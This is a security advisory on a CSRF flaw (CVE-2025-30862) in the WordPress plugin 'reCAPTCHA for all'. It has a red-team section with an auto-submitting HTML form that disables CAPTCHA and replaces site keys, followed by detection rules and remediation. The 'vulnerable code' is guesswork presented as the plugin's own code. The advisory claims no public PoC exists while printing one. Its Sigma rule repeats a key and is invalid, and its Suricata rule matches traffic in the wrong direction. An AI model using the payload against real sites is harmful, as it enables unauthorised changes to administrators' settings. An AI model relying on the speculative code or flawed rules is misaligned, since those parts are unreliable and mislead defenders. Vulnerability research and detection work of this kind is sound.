CVE-2025-30862

Executive Summary

CVE-2025-30862 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the WordPress plugin "reCAPTCHA for all" (recaptcha-for-all) by sminozzi, up to and including version 2.22. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying plugin settings or disabling security features, without their consent. The vulnerability is triggered when a logged-in admin visits a malicious page crafted by the attacker. The CVSS score is 4.3 (Medium), and the EPSS probability is 0.0%, indicating low active exploitation in the wild. No public proof-of-concept (PoC) or exploit code is available at this time.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin directly from the WordPress dashboard or via manual upload are affected. No NPM, PyPI, Go, or Ruby packages are involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N) – The attack is performed remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – The attacker does not need authentication.
• User Interaction: Required (UI:R) – The victim must click a link or visit a malicious page.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: None (C:N) – No data exposure.
• Integrity Impact: Low (I:L) – Attacker can modify plugin settings (e.g., disable CAPTCHA).
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. Exploitation requires social engineering (phishing) to lure an admin to a malicious site. The impact is limited to configuration changes, but could lead to further compromise if CAPTCHA is disabled.

Deep Dive & Mechanics

The vulnerability exists in the recaptcha-for-all WordPress plugin, which integrates Google reCAPTCHA into forms. The plugin fails to implement CSRF tokens or nonces in its administrative actions (e.g., saving settings, enabling/disabling CAPTCHA). An attacker can craft a malicious HTML page that submits a forged request to the WordPress admin area (e.g., /wp-admin/options-general.php?page=recaptcha-for-all&action=save). If an authenticated admin visits this page, the browser automatically sends the session cookie, and the plugin processes the request without verifying its origin.

Key technical details:

• The plugin uses $_POST or $_GET parameters to update options like recaptcha_site_key, recaptcha_secret_key, or recaptcha_enabled.
• No wp_nonce_field() or check_admin_referer() calls are present in the settings page.
• The vulnerability affects all versions from n/a through 2.22.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 2.22):

// In admin/settings.php or similar
function recaptcha_for_all_save_settings() {
    if ( isset($_POST['recaptcha_site_key']) ) {
        update_option('recaptcha_site_key', sanitize_text_field($_POST['recaptcha_site_key']));
    }
    // No CSRF check
}

Patched Code (hypothetical fix):

function recaptcha_for_all_save_settings() {
    // Add nonce verification
    if ( ! isset($_POST['_wpnonce']) || ! wp_verify_nonce($_POST['_wpnonce'], 'recaptcha_for_all_settings') ) {
        wp_die('CSRF validation failed.');
    }
    if ( isset($_POST['recaptcha_site_key']) ) {
        update_option('recaptcha_site_key', sanitize_text_field($_POST['recaptcha_site_key']));
    }
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site with "reCAPTCHA for all" plugin version <= 2.22.
• An authenticated admin user (victim).
• Attacker-controlled web server to host the malicious page.

Step-by-step exploitation:

1. Craft a malicious HTML page that auto-submits a form to the vulnerable endpoint.
2. Host the page on a domain the victim might trust (e.g., via a phishing email).
3. Lure the admin to visit the page. The browser sends the admin's session cookie.
4. The plugin processes the forged request, e.g., disabling CAPTCHA or changing keys.

Example malicious HTML:

<html>
<body>
<form action="http://victim-site.com/wp-admin/options-general.php?page=recaptcha-for-all" method="POST">
    <input type="hidden" name="recaptcha_enabled" value="0">
    <input type="hidden" name="recaptcha_site_key" value="attacker_key">
    <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

Blue Team (Defense & Detection)

Detection steps:

• Monitor for unusual POST requests to /wp-admin/options-general.php with page=recaptcha-for-all from unexpected referrers.
• Check for missing _wpnonce parameter in admin POST requests.
• Review server logs for repeated failed nonce checks (if patched).

Honeypot suggestion:

• Deploy a decoy WordPress site with the vulnerable plugin and monitor for CSRF attempts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/options-general.php?page=recaptcha-for-all with no Referer header or from external domains.
  • Presence of recaptcha_enabled=0 or recaptcha_site_key in POST body from unexpected sources.
• File IOCs:
  • Modified wp_options table entries: recaptcha_site_key, recaptcha_secret_key, recaptcha_enabled.
• Log IOCs:
  • WordPress debug log entries: Nonce verification failed (if patched) or missing nonce errors.

Detection Engineering

YARA Rule

rule Detect_CSRF_Recaptcha_For_All {
    meta:
        description = "Detects CSRF exploitation attempts against reCAPTCHA for all plugin"
        author = "Valters IT"
        date = "2025-04-01"
        cve = "CVE-2025-30862"
    strings:
        $post_param = "recaptcha_enabled" nocase
        $post_param2 = "recaptcha_site_key" nocase
        $admin_url = "/wp-admin/options-general.php" nocase
        $page_param = "page=recaptcha-for-all" nocase
    condition:
        all of ($post_param*) and $admin_url and $page_param
}

Sigma Rule

title: CSRF Exploitation Against reCAPTCHA for All Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to WordPress admin with recaptcha-for-all parameters without proper referer
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: 
            - "page=recaptcha-for-all"
            - "options-general.php"
        cs-uri-query|contains: "recaptcha_enabled"
    filter:
        cs-referer|contains: "victim-site.com"  # Adjust to legitimate domain
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions from same domain
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-30862 CSRF Attempt - reCAPTCHA for All"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/options-general.php"; http_uri; content:"page=recaptcha-for-all"; http_uri; content:"recaptcha_enabled"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate actions:

1. Update the plugin to the latest version (if a patch is released). Check the WordPress plugin repository for updates.
2. Implement a Web Application Firewall (WAF) rule to block POST requests to /wp-admin/options-general.php with page=recaptcha-for-all from external referrers.
3. Enforce CSRF tokens manually by adding wp_nonce_field() to the plugin's settings page (if you have code access).

Long-term fixes:

• The vendor should add nonce verification to all admin actions.
• Users should disable the plugin if no patch is available and use alternative CAPTCHA solutions.

Workaround:

• Restrict access to /wp-admin/ via IP whitelisting or VPN.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert